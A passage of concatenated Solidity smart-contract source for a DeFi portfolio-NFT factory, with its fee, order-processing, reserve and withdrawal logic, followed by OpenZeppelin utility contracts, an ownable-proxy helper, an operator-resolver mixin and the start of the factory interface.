require(address(_feeSplitter) != address(0), "NF: INVALID_FEE_SPLITTER_ADDRESS");
feeSplitter = _feeSplitter;
emit FeeSplitterUpdated(address(_feeSplitter));
}
/// @inheritdoc INestedFactory
function setEntryFees(uint256 _entryFees) external override onlyOwner {
require(_entryFees != 0, "NF: ZERO_FEES");
require(_entryFees <= 10000, "NF: FEES_OVERFLOW");
entryFees = _entryFees;
emit EntryFeesUpdated(_entryFees);
}
/// @inheritdoc INestedFactory
function setExitFees(uint256 _exitFees) external override onlyOwner {
require(_exitFees != 0, "NF: ZERO_FEES");
require(_exitFees <= 10000, "NF: FEES_OVERFLOW");
exitFees = _exitFees;
emit ExitFeesUpdated(_exitFees);
}
/// @inheritdoc INestedFactory
function unlockTokens(IERC20 _token) external override onlyOwner {
uint256 amount = _token.balanceOf(address(this));
SafeERC20.safeTransfer(_token, msg.sender, amount);
emit TokensUnlocked(address(_token), amount);
}
/* -------------------------- USERS FUNCTIONS -------------------------- */
/// @inheritdoc INestedFactory
function create(uint256 _originalTokenId, BatchedInputOrders[] calldata _batchedOrders)
external
payable
override
nonReentrant
{
uint256 batchedOrdersLength = _batchedOrders.length;
require(batchedOrdersLength != 0, "NF: INVALID_MULTI_ORDERS");
_checkMsgValue(_batchedOrders);
uint256 nftId = nestedAsset.mint(_msgSender(), _originalTokenId);
for (uint256 i = 0; i < batchedOrdersLength; i++) {
(uint256 fees, IERC20 tokenSold) = _submitInOrders(nftId, _batchedOrders[i], false);
_transferFeeWithRoyalty(fees, tokenSold, nftId);
}
emit NftCreated(nftId, _originalTokenId);
}
/// @inheritdoc INestedFactory
function processInputOrders(uint256 _nftId, BatchedInputOrders[] calldata _batchedOrders)
external
payable
override
nonReentrant
onlyTokenOwner(_nftId)
isUnlocked(_nftId)
{
_checkMsgValue(_batchedOrders);
_processInputOrders(_nftId, _batchedOrders);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function processOutputOrders(uint256 _nftId, BatchedOutputOrders[] calldata _batchedOrders)
external
override
nonReentrant
onlyTokenOwner(_nftId)
isUnlocked(_nftId)
{
_processOutputOrders(_nftId, _batchedOrders);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function processInputAndOutputOrders(
uint256 _nftId,
BatchedInputOrders[] calldata _batchedInputOrders,
BatchedOutputOrders[] calldata _batchedOutputOrders
) external payable override nonReentrant onlyTokenOwner(_nftId) isUnlocked(_nftId) {
_checkMsgValue(_batchedInputOrders);
_processInputOrders(_nftId, _batchedInputOrders);
_processOutputOrders(_nftId, _batchedOutputOrders);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function destroy(
uint256 _nftId,
IERC20 _buyToken,
Order[] calldata _orders
) external override nonReentrant onlyTokenOwner(_nftId) isUnlocked(_nftId) {
address[] memory tokens = nestedRecords.getAssetTokens(_nftId);
uint256 tokensLength = tokens.length;
require(_orders.length != 0, "NF: INVALID_ORDERS");
require(tokensLength == _orders.length, "NF: INPUTS_LENGTH_MUST_MATCH");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
uint256 buyTokenInitialBalance = _buyToken.balanceOf(address(this));
for (uint256 i = 0; i < tokensLength; i++) {
address token = tokens[i];
uint256 amount = _safeWithdraw(token, _nftId);
_safeSubmitOrder(token, address(_buyToken), amount, _nftId, _orders[i]);
}
// Amount calculation to send fees and tokens
uint256 amountBought = _buyToken.balanceOf(address(this)) - buyTokenInitialBalance;
uint256 amountFees = (amountBought * exitFees) / 10000; // Exit Fees
unchecked {
amountBought -= amountFees;
_transferFeeWithRoyalty(amountFees, _buyToken, _nftId);
_safeTransferAndUnwrap(_buyToken, amountBought, _msgSender());
}
// Burn NFT
nestedRecords.removeNFT(_nftId);
nestedAsset.burn(_msgSender(), _nftId);
}
/// @inheritdoc INestedFactory
function withdraw(uint256 _nftId, uint256 _tokenIndex)
external
override
nonReentrant
onlyTokenOwner(_nftId)
isUnlocked(_nftId)
{
uint256 assetTokensLength = nestedRecords.getAssetTokensLength(_nftId);
require(assetTokensLength > _tokenIndex, "NF: INVALID_TOKEN_INDEX");
// Use destroy instead if NFT has a single holding
require(assetTokensLength > 1, "NF: UNALLOWED_EMPTY_PORTFOLIO");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
address token = nestedRecords.getAssetTokens(_nftId)[_tokenIndex];
uint256 amount = _safeWithdraw(token, _nftId);
_safeTransferWithFees(IERC20(token), amount, _msgSender(), _nftId);
nestedRecords.deleteAsset(_nftId, _tokenIndex);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function updateLockTimestamp(uint256 _nftId, uint256 _timestamp) external override onlyTokenOwner(_nftId) {
nestedRecords.updateLockTimestamp(_nftId, _timestamp);
}
/* ------------------------- PRIVATE FUNCTIONS ------------------------- */
/// @dev Internal logic extraction of processInputOrders()
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function _processInputOrders(uint256 _nftId, BatchedInputOrders[] calldata _batchedOrders) private {
uint256 batchedOrdersLength = _batchedOrders.length;
require(batchedOrdersLength != 0, "NF: INVALID_MULTI_ORDERS");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
for (uint256 i = 0; i < batchedOrdersLength; i++) {
(uint256 fees, IERC20 tokenSold) = _submitInOrders(
_nftId,
_batchedOrders[i],
_batchedOrders[i].fromReserve
);
_transferFeeWithRoyalty(fees, tokenSold, _nftId);
}
}
/// @dev Internal logic extraction of processOutputOrders()
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function _processOutputOrders(uint256 _nftId, BatchedOutputOrders[] calldata _batchedOrders) private {
uint256 batchedOrdersLength = _batchedOrders.length;
require(batchedOrdersLength != 0, "NF: INVALID_MULTI_ORDERS");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
for (uint256 i = 0; i < batchedOrdersLength; i++) {
(uint256 feesAmount, uint256 amountBought) = _submitOutOrders(
_nftId,
_batchedOrders[i],
_batchedOrders[i].toReserve
);
_transferFeeWithRoyalty(feesAmount, _batchedOrders[i].outputToken, _nftId);
if (!_batchedOrders[i].toReserve) {
_safeTransferAndUnwrap(_batchedOrders[i].outputToken, amountBought - feesAmount, _msgSender());
}
}
}
/// @dev For every orders, call the operator with the calldata
/// to submit orders (where the input is one asset).
/// @param _nftId The id of the NFT impacted by the orders
/// @param _batchedOrders The order to process
/// @param _fromReserve True if the input tokens are from the reserve (portfolio)
/// @return feesAmount The total amount of fees on the input
/// @return tokenSold The ERC20 token sold (in case of ETH to WETH)
function _submitInOrders(
uint256 _nftId,
BatchedInputOrders calldata _batchedOrders,
bool _fromReserve
) private returns (uint256 feesAmount, IERC20 tokenSold) {
uint256 batchLength = _batchedOrders.orders.length;
require(batchLength != 0, "NF: INVALID_ORDERS");
uint256 _inputTokenAmount;
(tokenSold, _inputTokenAmount) = _transferInputTokens(
_nftId,
_batchedOrders.inputToken,
_batchedOrders.amount,
_fromReserve
);
uint256 amountSpent;
for (uint256 i = 0; i < batchLength; i++) {
amountSpent += _submitOrder(
address(tokenSold),
_batchedOrders.orders[i].token,
_nftId,
_batchedOrders.orders[i],
true // always to the reserve
);
}
feesAmount = (amountSpent * entryFees) / 10000; // Entry Fees
require(amountSpent <= _inputTokenAmount - feesAmount, "NF: OVERSPENT");
unchecked {
uint256 underSpentAmount = _inputTokenAmount - feesAmount - amountSpent;
if (underSpentAmount != 0) {
SafeERC20.safeTransfer(tokenSold, _fromReserve ? address(reserve) : _msgSender(), underSpentAmount);
}
// If input is from the reserve, update the records
if (_fromReserve) {
_decreaseHoldingAmount(_nftId, address(tokenSold), _inputTokenAmount - underSpentAmount);
}
}
}
/// @dev For every orders, call the operator with the calldata
/// to submit sell orders (where the output is one asset).
/// @param _nftId The id of the NFT impacted by the orders
/// @param _batchedOrders The order to process
/// @param _toReserve True if the output is store in the reserve/records (portfolio), false if not.
/// @return feesAmount The total amount of fees on the output
/// @return amountBought The total amount bought
function _submitOutOrders(
uint256 _nftId,
BatchedOutputOrders calldata _batchedOrders,
bool _toReserve
) private returns (uint256 feesAmount, uint256 amountBought) {
uint256 batchLength = _batchedOrders.orders.length;
require(batchLength != 0, "NF: INVALID_ORDERS");
require(_batchedOrders.amounts.length == batchLength, "NF: INPUTS_LENGTH_MUST_MATCH");
amountBought = _batchedOrders.outputToken.balanceOf(address(this));
IERC20 _inputToken;
uint256 _inputTokenAmount;
for (uint256 i = 0; i < batchLength; i++) {
(_inputToken, _inputTokenAmount) = _transferInputTokens(
_nftId,
IERC20(_batchedOrders.orders[i].token),
_batchedOrders.amounts[i],
true
);
// Submit order and update holding of spent token
uint256 amountSpent = _submitOrder(
address(_inputToken),
address(_batchedOrders.outputToken),
_nftId,
_batchedOrders.orders[i],
false
);
require(amountSpent <= _inputTokenAmount, "NF: OVERSPENT");
unchecked {
uint256 underSpentAmount = _inputTokenAmount - amountSpent;
if (underSpentAmount != 0) {
SafeERC20.safeTransfer(_inputToken, address(reserve), underSpentAmount);
}
_decreaseHoldingAmount(_nftId, address(_inputToken), _inputTokenAmount - underSpentAmount);
}
}
amountBought = _batchedOrders.outputToken.balanceOf(address(this)) - amountBought;
unchecked {
// Entry or Exit Fees
feesAmount = (amountBought * (_toReserve ? entryFees : exitFees)) / 10000;
if (_toReserve) {
_transferToReserveAndStore(_batchedOrders.outputToken, amountBought - feesAmount, _nftId);
}
}
}
/// @dev Call the operator to submit the order and add the output
/// assets to the reserve (if needed).
/// @param _inputToken Token used to make the orders
/// @param _outputToken Expected output token
/// @param _nftId The nftId
/// @param _order The order calldata
/// @param _toReserve True if the output is store in the reserve/records, false if not.
/// @return amountSpent The _inputToken amount spent (with the order)
function _submitOrder(
address _inputToken,
address _outputToken,
uint256 _nftId,
Order calldata _order,
bool _toReserve
) private returns (uint256 amountSpent) {
(bool success, uint256[] memory amounts) = callOperator(_order, _inputToken, _outputToken);
require(success, "NF: OPERATOR_CALL_FAILED");
if (_toReserve) {
_transferToReserveAndStore(IERC20(_outputToken), amounts[0], _nftId);
}
amountSpent = amounts[1];
}
/// @dev Call the operator to submit the order but dont stop if the call to the operator fail.
/// It will send the input token back to the msg.sender.
/// Note : The _toReserve Boolean has been removed (compare to _submitOrder) since it was
/// useless for the only use case (destroy).
/// @param _inputToken Token used to make the orders
/// @param _outputToken Expected output token
/// @param _amountToSpend The input amount available (to spend)
/// @param _nftId The nftId
/// @param _order The order calldata
function _safeSubmitOrder(
address _inputToken,
address _outputToken,
uint256 _amountToSpend,
uint256 _nftId,
Order calldata _order
) private {
(bool success, uint256[] memory amounts) = callOperator(_order, _inputToken, _outputToken);
if (success) {
require(amounts[1] <= _amountToSpend, "NF: OVERSPENT");
unchecked {
uint256 underSpentAmount = _amountToSpend - amounts[1];
if (underSpentAmount != 0) {
SafeERC20.safeTransfer(IERC20(_inputToken), _msgSender(), underSpentAmount);
}
}
} else {
_safeTransferWithFees(IERC20(_inputToken), _amountToSpend, _msgSender(), _nftId);
}
}
/// @dev Transfer tokens to the reserve, and compute the amount received to store
/// in the records. We need to know the amount received in case of deflationary tokens.
/// @param _token The token to transfer (IERC20)
/// @param _amount The amount to send to the reserve
/// @param _nftId The Token ID to store the assets
function _transferToReserveAndStore(
IERC20 _token,
uint256 _amount,
uint256 _nftId
) private {
address reserveAddr = address(reserve);
uint256 balanceReserveBefore = _token.balanceOf(reserveAddr);
// Send output to reserve
SafeERC20.safeTransfer(_token, reserveAddr, _amount);
uint256 balanceReserveAfter = _token.balanceOf(reserveAddr);
nestedRecords.store(_nftId, address(_token), balanceReserveAfter - balanceReserveBefore, reserveAddr);
}
/// @dev Choose between ERC20 (safeTransfer) and ETH (deposit), to transfer from the Reserve
/// or the user wallet, to the factory.
/// @param _nftId The NFT id
/// @param _inputToken The token to receive
/// @param _inputTokenAmount Amount to transfer
/// @param _fromReserve True to transfer from the reserve
/// @return Token transfered (in case of ETH)
/// @return The real amount received after the transfer to the factory
function _transferInputTokens(
uint256 _nftId,
IERC20 _inputToken,
uint256 _inputTokenAmount,
bool _fromReserve
) private returns (IERC20, uint256) {
if (address(_inputToken) == ETH) {
require(!_fromReserve, "NF: NO_ETH_FROM_RESERVE");
require(address(this).balance >= _inputTokenAmount, "NF: INVALID_AMOUNT_IN");
weth.deposit{ value: _inputTokenAmount }();
return (IERC20(address(weth)), _inputTokenAmount);
}
uint256 balanceBefore = _inputToken.balanceOf(address(this));
if (_fromReserve) {
require(
nestedRecords.getAssetHolding(_nftId, address(_inputToken)) >= _inputTokenAmount,
"NF: INSUFFICIENT_AMOUNT_IN"
);
// Get input from reserve
reserve.withdraw(_inputToken, _inputTokenAmount);
} else {
SafeERC20.safeTransferFrom(_inputToken, _msgSender(), address(this), _inputTokenAmount);
}
return (_inputToken, _inputToken.balanceOf(address(this)) - balanceBefore);
}
/// @dev Send a fee to the FeeSplitter, royalties will be paid to the owner of the original asset
/// @param _amount Amount to send
/// @param _token Token to send
/// @param _nftId User portfolio ID used to find a potential royalties recipient
function _transferFeeWithRoyalty(
uint256 _amount,
IERC20 _token,
uint256 _nftId
) private {
address originalOwner = nestedAsset.originalOwner(_nftId);
ExchangeHelpers.setMaxAllowance(_token, address(feeSplitter));
if (originalOwner != address(0)) {
feeSplitter.sendFeesWithRoyalties(originalOwner, _token, _amount);
} else {
feeSplitter.sendFees(_token, _amount);
}
}
/// @dev Decrease the amount of a NFT holding
/// @param _nftId The NFT id
/// @param _inputToken The token holding
/// @param _amount The amount to subtract from the actual holding amount
function _decreaseHoldingAmount(
uint256 _nftId,
address _inputToken,
uint256 _amount
) private {
nestedRecords.updateHoldingAmount(
_nftId,
_inputToken,
nestedRecords.getAssetHolding(_nftId, _inputToken) - _amount
);
}
/// @dev Transfer a token amount from the factory to the recipient.
/// The token is unwrapped if WETH.
/// @param _token The token to transfer
/// @param _amount The amount to transfer
/// @param _dest The address receiving the funds
function _safeTransferAndUnwrap(
IERC20 _token,
uint256 _amount,
address _dest
) private {
// if buy token is WETH, unwrap it instead of transferring it to the sender
if (address(_token) == address(weth)) {
ExchangeHelpers.setMaxAllowance(IERC20(address(weth)), address(withdrawer));
withdrawer.withdraw(_amount);
(bool success, ) = _dest.call{ value: _amount }("");
require(success, "NF: ETH_TRANSFER_ERROR");
} else {
SafeERC20.safeTransfer(_token, _dest, _amount);
}
}
/// @dev Transfer from factory and collect fees
/// @param _token The token to transfer
/// @param _amount The amount (with fees) to transfer
/// @param _dest The address receiving the funds
/// @param _nftId The nft Id (for royalty fees)
function _safeTransferWithFees(
IERC20 _token,
uint256 _amount,
address _dest,
uint256 _nftId
) private {
uint256 feeAmount = (_amount * exitFees) / 10000; // Exit Fee
unchecked {
_transferFeeWithRoyalty(feeAmount, _token, _nftId);
SafeERC20.safeTransfer(_token, _dest, _amount - feeAmount);
}
}
/// @dev Withdraw from reserve with care of deflationary tokens.
/// @param _token The token to withdraw
/// @param _nftId The NFT id to withdraw from
/// @return The withdrawed amount from the reserve
function _safeWithdraw(address _token, uint256 _nftId) private returns (uint256) {
uint256 holdingAmount = nestedRecords.getAssetHolding(_nftId, _token);
uint256 balanceBefore = IERC20(_token).balanceOf(address(this));
reserve.withdraw(IERC20(_token), holdingAmount);
return IERC20(_token).balanceOf(address(this)) - balanceBefore;
}
/// @dev Verify that msg.value is equal to the amount needed (in the orders)
/// @param _batchedOrders The batched input orders
function _checkMsgValue(BatchedInputOrders[] calldata _batchedOrders) private {
uint256 ethNeeded;
for (uint256 i = 0; i < _batchedOrders.length; i++) {
if (address(_batchedOrders[i].inputToken) == ETH) {
ethNeeded += _batchedOrders[i].amount;
}
}
require(msg.value == ethNeeded, "NF: WRONG_MSG_VALUE");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
/// @notice Ownable re-implementation to initialize the owner in the
/// proxy storage after an "upgradeToAndCall()" (delegatecall).
/// @dev The implementation contract owner will be address zero (by removing the constructor)
abstract contract OwnableProxyDelegation is Context {
/// @dev The contract owner
address private _owner;
/// @dev Storage slot with the proxy admin (see TransparentUpgradeableProxy from OZ)
bytes32 internal constant _ADMIN_SLOT = bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);
/// @dev True if the owner is setted
bool public initialized;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice Initialize the owner (by the proxy admin)
/// @param ownerAddr The owner address
function initialize(address ownerAddr) external {
require(ownerAddr != address(0), "OPD: INVALID_ADDRESS");
require(!initialized, "OPD: INITIALIZED");
require(StorageSlot.getAddressSlot(_ADMIN_SLOT).value == msg.sender, "OPD: FORBIDDEN");
_setOwner(ownerAddr);
initialized = true;
}
/// @dev Returns the address of the current owner.
function owner() public view virtual returns (address) {
return _owner;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(owner() == _msgSender(), "OPD: NOT_OWNER");
_;
}
/// @dev Leaves the contract without owner. It will not be possible to call
/// `onlyOwner` functions anymore. Can only be called by the current owner.
///
/// NOTE: Renouncing ownership will leave the contract without an owner,
/// thereby removing any functionality that is only available to the owner.
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/// @dev Transfers ownership of the contract to a new account (`newOwner`).
/// Can only be called by the current owner.
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "OPD: INVALID_ADDRESS");
_setOwner(newOwner);
}
/// @dev Update the owner address
/// @param newOwner The new owner address
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "../OperatorResolver.sol";
import "../interfaces/IOperatorResolver.sol";
import "../interfaces/INestedFactory.sol";
/// @title Mixin operator resolver
/// @notice Store in cache operators name and address/selector
abstract contract MixinOperatorResolver {
/// @notice Emitted when cache is updated
/// @param name The operator name
/// @param destination The operator address
event CacheUpdated(bytes32 name, IOperatorResolver.Operator destination);
/// @dev The OperatorResolver used to build the cache
OperatorResolver public immutable resolver;
/// @dev Cache operators map of the name and Operator struct (address/selector)
mapping(bytes32 => IOperatorResolver.Operator) internal operatorCache;
constructor(address _resolver) {
require(_resolver != address(0), "MOR: INVALID_ADDRESS");
resolver = OperatorResolver(_resolver);
}
/// @dev This function is public not external in order for it to be overridden and
/// invoked via super in subclasses
function resolverOperatorsRequired() public view virtual returns (bytes32[] memory) {}
/// @notice Rebuild the operatorCache
function rebuildCache() public {
bytes32[] memory requiredOperators = resolverOperatorsRequired();
bytes32 name;
IOperatorResolver.Operator memory destination;
// The resolver must call this function whenever it updates its state
for (uint256 i = 0; i < requiredOperators.length; i++) {
name = requiredOperators[i];
// Note: can only be invoked once the resolver has all the targets needed added
destination = resolver.getOperator(name);
if (destination.implementation != address(0)) {
operatorCache[name] = destination;
} else {
delete operatorCache[name];
}
emit CacheUpdated(name, destination);
}
}
/// @notice Check the state of operatorCache
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredOperators = resolverOperatorsRequired();
bytes32 name;
IOperatorResolver.Operator memory cacheTmp;
IOperatorResolver.Operator memory actualValue;
for (uint256 i = 0; i < requiredOperators.length; i++) {
name = requiredOperators[i];
cacheTmp = operatorCache[name];
actualValue = resolver.getOperator(name);
// false if our cache is invalid or if the resolver doesn't have the required address
if (
actualValue.implementation != cacheTmp.implementation ||
actualValue.selector != cacheTmp.selector ||
cacheTmp.implementation == address(0)
) {
return false;
}
}
return true;
}
/// @dev Get operator address in cache and require (if exists)
/// @param name The operator name
/// @return The operator address
function requireAndGetAddress(bytes32 name) internal view returns (IOperatorResolver.Operator memory) {
IOperatorResolver.Operator memory _foundAddress = operatorCache[name];
require(_foundAddress.implementation != address(0), string(abi.encodePacked("MOR: MISSING_OPERATOR: ", name)));
return _foundAddress;
}
/// @dev Build the calldata (with safe datas) and call the Operator
/// @param _order The order to execute
/// @param _inputToken The input token address
/// @param _outputToken The output token address
/// @return success If the operator call is successful
/// @return amounts The amounts from the execution (used and received)
/// - amounts[0] : The amount of output token
/// - amounts[1] : The amount of input token USED by the operator (can be different than expected)
function callOperator(
INestedFactory.Order calldata _order,
address _inputToken,
address _outputToken
) internal returns (bool success, uint256[] memory amounts) {
IOperatorResolver.Operator memory _operator = requireAndGetAddress(_order.operator);
// Parameters are concatenated and padded to 32 bytes.
// We are concatenating the selector + given params
bytes memory data;
(success, data) = _operator.implementation.delegatecall(bytes.concat(_operator.selector, _order.callData));
if (success) {
address[] memory tokens;
(amounts, tokens) = abi.decode(data, (uint256[], address[]));
require(tokens[0] == _outputToken, "MOR: INVALID_OUTPUT_TOKEN");
require(tokens[1] == _inputToken, "MOR: INVALID_INPUT_TOKEN");
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/// @notice Helpers for swapping tokens
library ExchangeHelpers {
using SafeERC20 for IERC20;
/// @dev Perform a swap between two tokens
/// @param _sellToken Token to exchange
/// @param _swapTarget The address of the contract that swaps tokens
/// @param _swapCallData Call data provided by 0x to fill the quote
/// @return True if the call succeeded, false if not
function fillQuote(
IERC20 _sellToken,
address _swapTarget,
bytes memory _swapCallData
) internal returns (bool) {
setMaxAllowance(_sellToken, _swapTarget);
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = _swapTarget.call(_swapCallData);
return success;
}
/// @dev sets the allowance for a token to the maximum if it is not already at max
/// @param _token The token to use for the allowance setting
/// @param _spender Spender to allow
function setMaxAllowance(IERC20 _token, address _spender) internal {
uint256 _currentAllowance = _token.allowance(address(this), _spender);
if (_currentAllowance != type(uint256).max) {
// Decrease to 0 first for tokens mitigating the race condition
_token.safeDecreaseAllowance(_spender, _currentAllowance);
_token.safeIncreaseAllowance(_spender, type(uint256).max);
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.11;
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../NestedReserve.sol";
import "../FeeSplitter.sol";
/// @title NestedFactory interface
interface INestedFactory {
/* ------------------------------ EVENTS ------------------------------ */
/// @dev Emitted when the feeSplitter is updated
/// @param feeSplitter The new feeSplitter address
event FeeSplitterUpdated(address feeSplitter);
/// @dev Emitted when the entryFees is updated
/// @param entryFees The new entryFees amount
event EntryFeesUpdated(uint256 entryFees);
/// @dev Emitted when the exitFees is updated
/// @param exitFees The new exitFees amount
event ExitFeesUpdated(uint256 exitFees);
/// @dev Emitted when the reserve is updated
/// @param reserve The new reserve address
event ReserveUpdated(address reserve);
/// @dev Emitted when a NFT (portfolio) is created
/// @param nftId The NFT token Id
/// @param originalNftId If replicated, the original NFT token Id
event NftCreated(uint256 indexed nftId, uint256 originalNftId);
/// @dev Emitted when a NFT (portfolio) is updated
/// @param nftId The NFT token Id
event NftUpdated(uint256 indexed nftId);
